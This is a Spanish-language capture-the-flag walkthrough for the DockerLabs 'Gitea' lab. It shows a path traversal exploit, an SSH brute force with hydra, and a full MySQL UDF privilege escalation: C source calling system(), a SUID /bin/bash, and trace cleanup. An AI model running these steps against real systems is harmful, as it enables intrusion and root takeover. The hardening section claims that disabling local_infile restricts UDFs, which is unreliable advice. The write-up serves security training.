Ir al contenido

Gitea

Este documento detalla la metodología y procedimiento completo para comprometer la máquina Gitea, desarrollada por d1se0 para DockerLabs y clasificada con dificultad Media. Esta máquina simula un escenario real donde múltiples vulnerabilidades web y de configuración permiten escalada completa de privilegios, incluyendo abuso de servicios de base de datos.

La resolución sigue una metodología estructurada:

  1. Reconocimiento: Enumeración de servicios, descubrimiento de instancia Gitea y análisis de repositorios públicos.
  2. Explotación: Explotación de path traversal para extraer información sensible y ataque de fuerza bruta dirigido.
  3. Escalada de privilegios: Abuso de MySQL ejecutándose como root mediante User-Defined Functions (UDF).

El entorno de prueba fue desplegado localmente mediante DockerLabs, simulando vulnerabilidades comunes en entornos de desarrollo.


AtributoValor
NombreGitea
Autord1se0
DificultadMedio
Fecha17/10/2025
PlataformaDockerLabs
IP Objetivo172.17.0.2

Descomprimimos el archivo de la máquina y lo desplegamos:

Ventana de terminal
unzip Gitea.zip
sudo bash auto_deploy.sh Gitea.tar

IP asignada

Figura 1: Dirección IP asignada al contenedor

Creamos una estructura organizada para documentar el proceso:

Ventana de terminal
mkdir -p Gitea/{content,exploits,nmap,gobuster,scripts}
cd Gitea

Ejecutamos un escaneo TCP SYN para identificar servicios expuestos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

  • 22/tcp — SSH (Secure Shell)
  • 80/tcp — HTTP (Web Server)
  • 3000/tcp — HTTP (Gitea Service)

Puertos abiertos

Figura 2: Servicios expuestos en la máquina

Realizamos un escaneo de directorios en el puerto 80:

Ventana de terminal
feroxbuster -u http://172.17.0.2 -d 0 \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
-x php,txt,html,js,bak,old \
-t 40 \
-C 404,403

Escaneo puerto 80

Figura 3: Resultados del escaneo en puerto 80

La página principal en el puerto 80 es básica y no contiene información relevante:

Página principal puerto 80

Figura 4: Página web básica en puerto 80

2.3 Análisis del Servicio Gitea (Puerto 3000)

Sección titulada «2.3 Análisis del Servicio Gitea (Puerto 3000)»

Accedemos al servicio en el puerto 3000 que corresponde a Gitea:

Gitea interface

Figura 5: Interfaz principal de Gitea

Estructura descubierta:

  • /explore/repos — Tres repositorios públicos disponibles
  • /login — Panel de autenticación
  • /user/sign_up — Registro de nuevos usuarios

Examinamos los repositorios públicos en /explore/repos:

  1. Repositorio de Configuración MySQL: Información MySQL Figura 6: Configuración con credenciales de MySQL

    Hallazgos: Contiene credenciales para MySQL: admin:PASSWORD

  2. Repositorio con Vulnerabilidad Documentada: Path traversal documentado Figura 7: Vulnerabilidad de path traversal no solucionada

    Hallazgos: Commit que menciona vulnerabilidad de path traversal en /download

  3. Análisis del Panel de Login: Comentario en login Figura 8: Pista sobre dominios en código fuente

Basado en la pista encontrada, agregamos dominios al archivo /etc/hosts:

Ventana de terminal
echo "172.17.0.2 admin.s3cr3tdir.dev.gitea.dl" | sudo tee -a /etc/hosts
echo "172.17.0.2 gitea.dl" | sudo tee -a /etc/hosts

3.1 Descubrimiento de Vulnerabilidad Path Traversal

Sección titulada «3.1 Descubrimiento de Vulnerabilidad Path Traversal»

Probamos el path traversal documentado en el dominio descubierto:

Ventana de terminal
curl -s 'http://gitea.dl/download?filename=/etc/passwd'

Lectura de /etc/passwd

Figura 9: Path traversal exitoso mostrando /etc/passwd

Hallazgos: Solo existe el usuario designer en el sistema.

Utilizamos el path traversal para leer archivos del sistema:

Ventana de terminal
# Buscamos archivos interesantes
curl -s "http://gitea.dl/download?filename=/opt/info.txt"

El archivo /opt/info.txt contiene múltiples credenciales en formato inconsistente. Extraemos posibles contraseñas:

Ventana de terminal
# Extracción y limpieza de contraseñas
curl -s 'http://gitea.dl/download?filename=/opt/info.txt' | \
awk -F '[: -]' '{print $2}' | \
grep -v '^$' | sort -u > passwords.txt
# Verificamos el resultado
wc -l passwords.txt
head passwords.txt

Con el usuario designer y la lista de contraseñas extraídas:

Ventana de terminal
hydra -l designer -P passwords.txt ssh://172.17.0.2 -I -t 64 -f

Resultado de Hydra

Figura 10: Credenciales SSH comprometidas

Credenciales obtenidas: designer:g3n3ralP@ssw0rd

Nos conectamos al sistema mediante SSH:

Ventana de terminal
ssh designer@172.17.0.2

Conexión SSH exitosa

Figura 11: Acceso SSH como usuario designer


Una vez dentro, comenzamos la enumeración:

Ventana de terminal
whoami
id
pwd
ls -la

Verificamos procesos en ejecución:

Ventana de terminal
ps aux | grep mysql

Hallazgo crítico: MySQL está ejecutándose como usuario root.

Verificamos acceso a MySQL con las credenciales descubiertas:

Ventana de terminal
mysql -u admin -pPASSWORD -e "SELECT USER(), CURRENT_USER();"

4.3 Investigación de User-Defined Functions (UDF)

Sección titulada «4.3 Investigación de User-Defined Functions (UDF)»

MySQL permite crear funciones personalizadas que pueden ejecutar código del sistema. Dado que MySQL se ejecuta como root, podemos crear una UDF para ejecutar comandos como root.

Creamos un archivo C con la función maliciosa:

udf_shell.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <mysql.h>
my_bool sys_exec_init(UDF_INIT *initid, UDF_ARGS *args, char *message) {
// Inicialización segura
if (args->arg_count != 1) {
strcpy(message, "sys_exec() requiere un argumento");
return 1;
}
// Verificar que el argumento es string
args->arg_type[0] = STRING_RESULT;
return 0;
}
char *sys_exec(UDF_INIT *initid, UDF_ARGS *args, char *result,
unsigned long *length, char *is_null, char *error) {
// Ejecutar comando del sistema
if (args->args[0]) {
system(args->args[0]);
}
*is_null = 0;
return NULL;
}

4.5 Compilación de la Biblioteca Compartida

Sección titulada «4.5 Compilación de la Biblioteca Compartida»

Compilamos la biblioteca compartida:

Ventana de terminal
# Instalamos dependencias si es necesario
apt-get update && apt-get install -y gcc libmysqlclient-dev
# Compilamos
gcc -fPIC -shared -o udf_shell.so udf_shell.c $(mysql_config --cflags) $(mysql_config --libs)
  1. Localizamos el directorio de plugins de MySQL:

    Ventana de terminal
    mysql -u admin -pPASSWORD -e "SHOW VARIABLES LIKE 'plugin_dir';"
  2. Copiamos la biblioteca al directorio de plugins:

    Ventana de terminal
    cp udf_shell.so /usr/lib/mysql/plugin/
    chmod 755 /usr/lib/mysql/plugin/udf_shell.so
  3. Creamos la función en MySQL:

    Ventana de terminal
    mysql -u admin -pPASSWORD << 'EOF'
    DROP FUNCTION IF EXISTS sys_exec;
    CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf_shell.so';
    SELECT 'Función creada exitosamente';
    EOF
  4. Verificamos la creación:

    Ventana de terminal
    mysql -u admin -pPASSWORD -e "SELECT * FROM mysql.func WHERE name='sys_exec';"

Utilizamos la función creada para ejecutar comandos como root:

Ventana de terminal
# Asignamos SUID a /bin/bash
mysql -u admin -pPASSWORD -e "SELECT sys_exec('chmod u+s /bin/bash');"
# Verificamos los permisos
ls -la /bin/bash

Con bash con bit SUID activado:

Ventana de terminal
/bin/bash -p

Shell como root

Figura 12: Acceso root obtenido mediante bash SUID

Ventana de terminal
# Verificamos identidad
id
whoami
# Limpiamos rastros
mysql -u admin -pPASSWORD -e "DROP FUNCTION sys_exec;"
rm /usr/lib/mysql/plugin/udf_shell.so

VulnerabilidadSeveridadImpactoCWE/Referencia
Path traversal en endpoint /downloadCríticaLectura arbitraria de archivosCWE-22
Exposición de credenciales en repositoriosAltaCompromiso de múltiples serviciosCWE-798
Configuración de MySQL como rootCríticaEjecución de comandos como rootCWE-250
User-Defined Functions sin restriccionesCríticaEjecución de código arbitrarioCWE-94
Información sensible en archivos no segurosAltaFacilitación de ataquesCWE-312
Contraseñas débiles y reutilizadasMediaAcceso inicial facilitadoCWE-521
  1. Protección contra Path Traversal:

    • Validar y sanitizar parámetros de entrada
    • Implementar lista blanca de rutas permitidas
    • Usar funciones como realpath() y basename()
    // EJEMPLO DE VALIDACIÓN CORRECTA
    $allowed_files = ['file1.txt', 'file2.pdf'];
    $filename = basename($_GET['filename']);
    if(!in_array($filename, $allowed_files)) {
    http_response_code(403);
    die('Archivo no permitido');
    }
  2. Gestión de Credenciales en Repositorios:

    • Utilizar variables de entorno o sistemas de gestión de secretos
    • Implementar git-secrets o herramientas similares
    • Realizar auditorías de código para detectar hardcoding
    • Rotar credenciales después de exposición
  3. Configuración Segura de MySQL:

    • Ejecutar MySQL con usuario no privilegiado
    /etc/mysql/my.cnf
    [mysqld]
    user = mysql
    • Restringir creación de funciones UDF
    -- Deshabilitar UDFs si no son necesarias
    SET GLOBAL local_infile = 0;
    • Implementar logging de consultas peligrosas
  4. Protección de Archivos Sensibles:

    • Restringir permisos en archivos de configuración
    • Utilizar cifrado para datos sensibles
    • Implementar controles de acceso basados en roles
    • Realizar auditorías periódicas de permisos
  5. Hardening del Sistema:

    • Implementar SELinux/AppArmor para MySQL
    • Configurar límites de recursos y capacidades
    • Monitorear creación de archivos en directorios de plugins
    • Implementar detección de anomalías en consultas SQL
  6. Políticas de Contraseñas:

    • Implementar políticas de complejidad de contraseñas
    • Evitar reutilización de contraseñas entre servicios
    • Implementar autenticación multifactor
    • Realizar auditorías periódicas de cuentas
  7. Monitoreo y Respuesta:

    • Implementar logging detallado de accesos web
    • Configurar alertas para path traversal attempts
    • Monitorear ejecución de procesos privilegiados
    • Realizar pentests periódicos